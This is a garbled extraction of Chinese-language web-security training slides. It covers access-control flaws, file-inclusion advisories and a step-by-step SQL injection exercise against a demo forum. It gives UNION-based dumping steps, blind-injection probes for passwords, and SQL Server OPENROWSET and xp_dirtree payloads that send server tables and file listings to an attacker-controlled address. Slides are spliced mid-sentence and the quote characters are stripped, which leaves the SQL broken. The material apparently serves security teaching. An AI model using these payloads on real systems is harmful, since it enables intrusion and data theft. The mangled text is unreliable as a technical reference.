38、8080/haiyou/upload/download.jsp?file=index.jsp55其他資源類(lèi)型其他資源類(lèi)型例如某Web應(yīng)用允許用戶(hù)查詢(xún)自己賬號(hào)的余額信息,其鏈接如下:http:/./history.jsp?userid=?有心的用戶(hù)可能填寫(xiě)其他用戶(hù)的id再訪問(wèn),如果開(kāi)發(fā)者在服務(wù)器端沒(méi)有進(jìn)行權(quán)限控制,判斷此id是否能被當(dāng)前會(huì)話(huà)的用戶(hù)訪問(wèn),就可能泄露其他用戶(hù)的隱私信息。復(fù)雜的系統(tǒng)存在大量的相互引用訪問(wèn),如果開(kāi)發(fā)者不能有效地進(jìn)行權(quán)限控制,就可能被惡意引用。56真實(shí)的故事真實(shí)的故事Google-Docs用戶(hù)可以偷竊所有其他用戶(hù)的文檔!在google-docs上有個(gè)鏈接可以將您的文檔發(fā)送給

39、合作者。GET /Dialogs/EmailDocument?DocID= HTTP/1.1 然而,google卻沒(méi)有檢查參數(shù)中的DOCID是否屬于您。所以,您可以猜測(cè)他人文檔的ID并利用這個(gè)鏈接讓google把文檔郵給您。http:/xs- File Inclusion(簡(jiǎn)稱(chēng)RFI/LFI)漏洞就是因?yàn)橄到y(tǒng)在包含腳本文件時(shí),包含的路徑可被黑客篡改。2007年9月26日16:00點(diǎn)在http:/ FrontAccounting 1.13 Remote File Inclusion Vulnerabilities2007-09-24 sk.log = 0.5.3 (skin_url) Remot

40、e File Inclusion Vulnerability2007-09-24 DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities2007-09-23 phpFullAnnu (PFA) 6.0 Remote SQL Injection Vulnerability2007-09-23 helplink 0.1.0 (show.php file) Remote File Inclusion Vulnerability2007-09-23 PHP-Nuke addon Nuke Mobile Entartainment LFI

41、Vulnerability2007-09-23 Wordsmith 1.1b (config.inc.php _path) Remote File Inclusion Vuln2007-09-22 Black Lily 2007 (products.php class) Remote SQL Injection Vulnerability2007-09-22 Clansphere 2007.4 (cat_id) Remote SQL Injection Vulnerability2007-09-21 CMS Made Simple 1.2 Remote Code Execution Vulne

42、rability2007-09-21 iziContents 20程序員未預(yù)料到的結(jié)果程序員未預(yù)料到的結(jié)果age: 1000000 union select name, age, password from usersSELECT name, age, locationFROM Users WHERE age999 union select name, age, password from usersFactFact:大多數(shù)程序員都注意到了的問(wèn)題,他們用來(lái)代替用戶(hù)輸入的,從而防止字符串SQL注入;但很多人缺忽略了同樣嚴(yán)重的數(shù)字注入問(wèn)題。其防范方法是檢查用戶(hù)輸入的數(shù)字是否合法。Union暴庫(kù)是常

43、見(jiàn)的注入方法Union語(yǔ)法要求前后兩句SQL中Select的數(shù)據(jù)項(xiàng)類(lèi)型和數(shù)量一致;這兩句sql都符合string,int,string的模式999是不可能符合的條件,這樣union的結(jié)果就只剩第二句sql查詢(xún)的內(nèi)容76打開(kāi)培訓(xùn)示范論壇,不用登錄,直接查看用戶(hù)屬性SQL Injection:Case學(xué)員練習(xí)學(xué)員練習(xí)20Min77一個(gè)簡(jiǎn)單的測(cè)試顯示這里可能存在注入漏洞。從錯(cuò)誤看出是MS SQL Server。從鏈接的形式id=?來(lái)看應(yīng)該可能是數(shù)字型。因此報(bào)錯(cuò)是必然的。從報(bào)錯(cuò)來(lái)看,程序員把替換成了SQL Injection:Step 1學(xué)員練習(xí)學(xué)員練習(xí)20Min78用試驗(yàn),發(fā)現(xiàn)出來(lái)了一部分?jǐn)?shù)據(jù),te

44、st用戶(hù)名及其email地址,這證明至少有一條SQL正確運(yùn)行。但是依然有SQL報(bào)錯(cuò),很可能是后臺(tái)有兩條SQL語(yǔ)句都分別用到了id變量,而兩語(yǔ)句使用的環(huán)境不同。SQL Injection:Step 2學(xué)員練習(xí)學(xué)員練習(xí)20Min79實(shí)際情況是第一條SQL是where id=? ,第二條SQL是where (xx=xx) and (id=?)。因此要第二條不錯(cuò),id只能用2)-,但這樣第一條又會(huì)出錯(cuò),難以?xún)扇?。從錯(cuò)誤行號(hào)來(lái)看,第一句SQL位于84行,第二句SQL位于207行。SQL Injection:Step 3學(xué)員練習(xí)學(xué)員練習(xí)20Min80對(duì)于Select查詢(xún),幾乎都可以用Union查詢(xún)來(lái)暴庫(kù)。

45、Union要求前后兩句對(duì)應(yīng)的數(shù)據(jù)項(xiàng)數(shù)量相同,類(lèi)型一致,因此需要首先檢查第一句SQL的數(shù)據(jù)項(xiàng)數(shù)量。方法是用order by n,逐步增加n。SQL Injection:Step 4學(xué)員練習(xí)學(xué)員練習(xí)20Min81N=30正常,N=31錯(cuò)誤!因此第一句SQL有30項(xiàng)。SQL Injection:Step 5學(xué)員練習(xí)學(xué)員練習(xí)20Min82由于union還要求類(lèi)型一致,30項(xiàng)要逐個(gè)猜測(cè)類(lèi)型是不現(xiàn)實(shí)的,因此用通配符null! 準(zhǔn)備30個(gè)null。提示這個(gè)錯(cuò)誤的原因說(shuō)明前一句sql中有image類(lèi)型,而union缺省是distinct的,要解決這個(gè)問(wèn)題,使用union all即可。SQL Injection

46、:Step 6學(xué)員練習(xí)學(xué)員練習(xí)20Min83使用Union All后,終于又看到了test的信息。SQL Injection:Step 7學(xué)員練習(xí)學(xué)員練習(xí)20Min84調(diào)整union第一句的條件為“不可能滿(mǎn)足”,這樣顯示出來(lái)的始終是第二句,即使為nullSQL Injection:Step 8學(xué)員練習(xí)學(xué)員練習(xí)20Min這兩個(gè)位置顯示的是30項(xiàng)null中的某兩個(gè)。因此可以利用這里來(lái)回顯信息!85需要找到這兩個(gè)數(shù)據(jù)位于30個(gè)null中的何處。首先試驗(yàn)把第二個(gè)null換成字符型的null。錯(cuò)誤提示不是告訴類(lèi)型不匹配,而是說(shuō)有語(yǔ)法錯(cuò)誤。從而再次確認(rèn):開(kāi)發(fā)者用替換了。SQL Injection:Step

47、 9學(xué)員練習(xí)學(xué)員練習(xí)20Min86要寫(xiě)出不帶的sql語(yǔ)句并不困難。如果您對(duì)SQL語(yǔ)法熟悉的話(huà),就知道有一個(gè)char函數(shù)可供利用。SQL Injection:Step 10學(xué)員練習(xí)學(xué)員練習(xí)20Min64是的ASCII碼數(shù)值,10進(jìn)制。成功回顯87SQL Injection:Step 11學(xué)員練習(xí)學(xué)員練習(xí)20Min第二個(gè)null位置回顯于此處試出兩個(gè)回顯點(diǎn)的位置:第四個(gè)null位置回顯于此處88SQL Injection:Step 12學(xué)員練習(xí)學(xué)員練習(xí)20Min把后面的sql替換成select null,password,null,.,null from users的形式,希望能顯示一個(gè)密碼,但是

48、失敗了。系統(tǒng)不存在users表。再猜測(cè)幾個(gè)表發(fā)現(xiàn)依然失敗??磥?lái)僅僅靠猜測(cè)是不行的。89不同的數(shù)據(jù)庫(kù)都有系統(tǒng)表,可以利用來(lái)枚舉表結(jié)構(gòu)不同的數(shù)據(jù)庫(kù)都有系統(tǒng)表,可以利用來(lái)枚舉表結(jié)構(gòu)在不同的DBMS枚舉表結(jié)構(gòu)MS SQLSELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 表名 )sp_columns tablename (這個(gè)存儲(chǔ)過(guò)程可以列舉表的字段名)MySQLshow columns from tablenameOracleSELECT * FROM all_tab_columnsWHERE

49、table_name=表名90數(shù)據(jù)庫(kù)系統(tǒng)表數(shù)據(jù)庫(kù)系統(tǒng)表OracleSYS.USER_OBJECTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMS SQL Serversysobjectssyscolumnssystypessysdatabases91SQL Injection:Step 13

50、學(xué)員練習(xí)學(xué)員練習(xí)20Min查詢(xún)一下是否有列名為pass(word)的表,首先簡(jiǎn)單測(cè)試一下:Select name from syscolumns where name like %p%結(jié)果提示錯(cuò)誤!原因:服務(wù)器自動(dòng)進(jìn)行URL解碼。除了把%20轉(zhuǎn)化為空格外,還會(huì)把+轉(zhuǎn)化為空格。因此數(shù)據(jù)庫(kù)查詢(xún)變成了 like % p %92SQL Injection:Step 14學(xué)員練習(xí)學(xué)員練習(xí)20Min解決辦法:用+的URL編碼后的形式%2B,服務(wù)器解碼后就成了+。結(jié)果如下:有一列為parent_obj符合條件93SQL Injection:Step 15學(xué)員練習(xí)學(xué)員練習(xí)20Min下面的查詢(xún)列出所有含有類(lèi)似p

51、ass列的表名和列名:Select , from syscolumns, sysobjects where like %pass% and sysobject.type=U and sysobject.id=syscolumns.id系統(tǒng)中有一個(gè)FORUM_FORUM表,含有一列F_PASSWORD_NEW94SQL Injection:Step 16學(xué)員練習(xí)學(xué)員練習(xí)20Min但是我們對(duì)Forum_Forum這個(gè)表不感興趣,所以查一下結(jié)果數(shù)目。使用count(*)查詢(xún)結(jié)果為2;95SQL Inject

52、ion:Step 17學(xué)員練習(xí)學(xué)員練習(xí)20Min因此對(duì)后一句使用order by 2 desc(可以反復(fù)多試一下不同的排序方式)直到最后顯示出表名FORUM_MEMBERS中含有M_PASSWORD列;96SQL Injection:Case學(xué)員練習(xí)學(xué)員練習(xí)20Min猜測(cè)還有M_NAME一列。最后查詢(xún)出系統(tǒng)含有admin用戶(hù),其口令為admin。97充分利用系統(tǒng)的錯(cuò)誤提示信息;充分利用union查詢(xún),這種方式幾乎適合于所有的數(shù)據(jù)庫(kù)類(lèi)型,是最為普遍的一種暴庫(kù)方法;union時(shí)首先利用order by檢查數(shù)據(jù)項(xiàng),再用null做通配滿(mǎn)足數(shù)據(jù)類(lèi)型一致,注意使用union all;充分利用系統(tǒng)回顯,如果

53、回顯只能顯示一項(xiàng)數(shù)據(jù),那么對(duì)union之前的查詢(xún)?cè)O(shè)置“不能滿(mǎn)足的條件”,對(duì)union之后的語(yǔ)句采用order by調(diào)整顯示的順序;結(jié)合系統(tǒng)表枚舉表結(jié)構(gòu);注意利用特殊方法來(lái)繞開(kāi)系統(tǒng)的過(guò)濾,如char()繞開(kāi)對(duì)的過(guò)濾;注意“加號(hào)”的URL編碼;注意考慮程序員的習(xí)慣,例如asp里程序員一般都會(huì)把用代替,但是有時(shí)候會(huì)忽略數(shù)字項(xiàng)的注入漏洞。例如根據(jù)列名M_PASSWORD可以猜測(cè)出還有一列名為M_NAME總結(jié)總結(jié)98盲注入(Blind Injection):如果系統(tǒng)屏蔽了詳細(xì)的錯(cuò)誤信息,那么對(duì)攻擊者而言就是盲注入。盲注入并非是全盲,可以充分利用系統(tǒng)的回顯空間;例如前面的實(shí)例,對(duì)于有經(jīng)驗(yàn)的攻擊者,完全可以

54、拋開(kāi)那些錯(cuò)誤信息直接注入。如果連回顯也沒(méi)有(比如Mysql 4.0版本以下不支持UNION查詢(xún)),那么就要利用在正確與錯(cuò)誤之間,依然可以獲取的1Bit的信息量;如果看不到具體的錯(cuò)誤信息:盲注入如果看不到具體的錯(cuò)誤信息:盲注入99and exists (select * from admin where id=1 and len(name)5),返回正常說(shuō)明長(zhǎng)度大于5,and exists (select * from admin where id=1 and len(name)7),返回錯(cuò)誤說(shuō)明長(zhǎng)度小于7,and exists (select * from admin where id=1 a

55、nd mid(password,1,1)=a) , 返回正常說(shuō)明密碼第一個(gè)字符是英文(0=48,a=65,A=97),and exists (select * from admin where id=1 and mid(password,1,1)=z) ,返回正常說(shuō)明密碼第一個(gè)字符是小寫(xiě)英文(0=48,a=65,A=97),and exists (select * from admin where id=1 and mid(password,1,1)=m ,返回錯(cuò)誤說(shuō)明密碼第一個(gè)字符在n到z之間,最好用工具,例如前面提到的最好用工具,例如前面提到的Formbrute;要利用數(shù)據(jù)庫(kù)字符串處理函數(shù)

56、如要利用數(shù)據(jù)庫(kù)字符串處理函數(shù)如mid, len, left等等,不同數(shù)據(jù)庫(kù)有差異,等等,不同數(shù)據(jù)庫(kù)有差異,最好有速查手冊(cè)。最好有速查手冊(cè)。 二分法盲注入示例二分法盲注入示例100各系統(tǒng)的區(qū)別(字符串處理)各系統(tǒng)的區(qū)別(字符串處理)MS SQLMySQLAccessOracle長(zhǎng)度len(abc)=3length(abc)=3len(abc)=3length(abc)=3截取左右left(abc,2)=abright (abc,2)=bcleft(abc,2)=abright (abc,2)=bcleft(abc,2)=abright (abc,2)=bc用substr代替截取中間substri

57、ng(abc,2,1)=bsubstring(abc,2,1)=bmid(abc,2,1)=bmid(abc,2,1)=bsubstr (abc,2,1)=b字符串連接 + concat ( , ) & | 101各系統(tǒng)的區(qū)別(二)各系統(tǒng)的區(qū)別(二)MS SQLMySQLAccessOracle聯(lián)合查詢(xún)YN4.0Y 4.0YY子查詢(xún)YN4.1Y 4.1NY多句查詢(xún)YNNN默認(rèn)存儲(chǔ)過(guò)程非常多NN非常多102高級(jí)高級(jí)SQL注入:利用數(shù)據(jù)庫(kù)的高級(jí)特性注入:利用數(shù)據(jù)庫(kù)的高級(jí)特性上述語(yǔ)句僅限于SQL Server:黑客在本地運(yùn)行SQL Server,并創(chuàng)建一個(gè)與服務(wù)器端target_table結(jié)

58、構(gòu)一樣的表my_table,就可以利用此命令將服務(wù)器表的數(shù)據(jù)全部導(dǎo)到本地;其中sa:Pass123是黑客SQL Server的登錄信息,myIP是黑客的IP地址,80是SQL Server端口(缺省情況下不是80,這樣是方便反彈連接)Bubble; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from my_table)select * from target_table-103高級(jí)高級(jí)SQL注入:利用數(shù)據(jù)庫(kù)的高級(jí)特性注入:利用數(shù)據(jù)庫(kù)的高級(jí)特性上述語(yǔ)句僅

59、限于SQL Server:在服務(wù)器端創(chuàng)建temp_table6后,黑客利用此實(shí)例所示的xp_dirtree功能查看c:inetpub下的文件列表,并導(dǎo)出到黑客本地的temp_table6中;可以更換c:inetpub這個(gè)參數(shù)為其他目錄,反復(fù)使用此語(yǔ)句,從而對(duì)服務(wù)器文件目錄有全面了解。采用/*/作為分割符的原因是這個(gè)注入點(diǎn)過(guò)濾了空格。Bubbledelete/*/from/*/temp_table6;insert/*/into/*/temp_table6/*/exec/*/master.dbo.xp_dirtree/*/c:inetpub;insert/*/into/*/OPENROWSET(S

60、QLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select/*/*/*/from/*/temp_table6)select/*/*/*/from/*/temp_table6;-104高級(jí)高級(jí)SQL注入:利用數(shù)據(jù)庫(kù)的高級(jí)特性注入:利用數(shù)據(jù)庫(kù)的高級(jí)特性上述語(yǔ)句僅限于Oracle 9i及其以上版本:第一句查詢(xún)當(dāng)前數(shù)據(jù)庫(kù)表中的用戶(hù)表(非系統(tǒng)表),并獲取排名最前的一個(gè),假設(shè)返回結(jié)果為SYS_GN。第二句查詢(xún)將所有的用戶(hù)表名連接為一個(gè)字符串輸出,適合于只有一個(gè)回顯點(diǎn)時(shí)探測(cè)數(shù)據(jù)庫(kù)結(jié)構(gòu)。Bubbleselect table_name from user_tables order by table_name;select max(sys

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論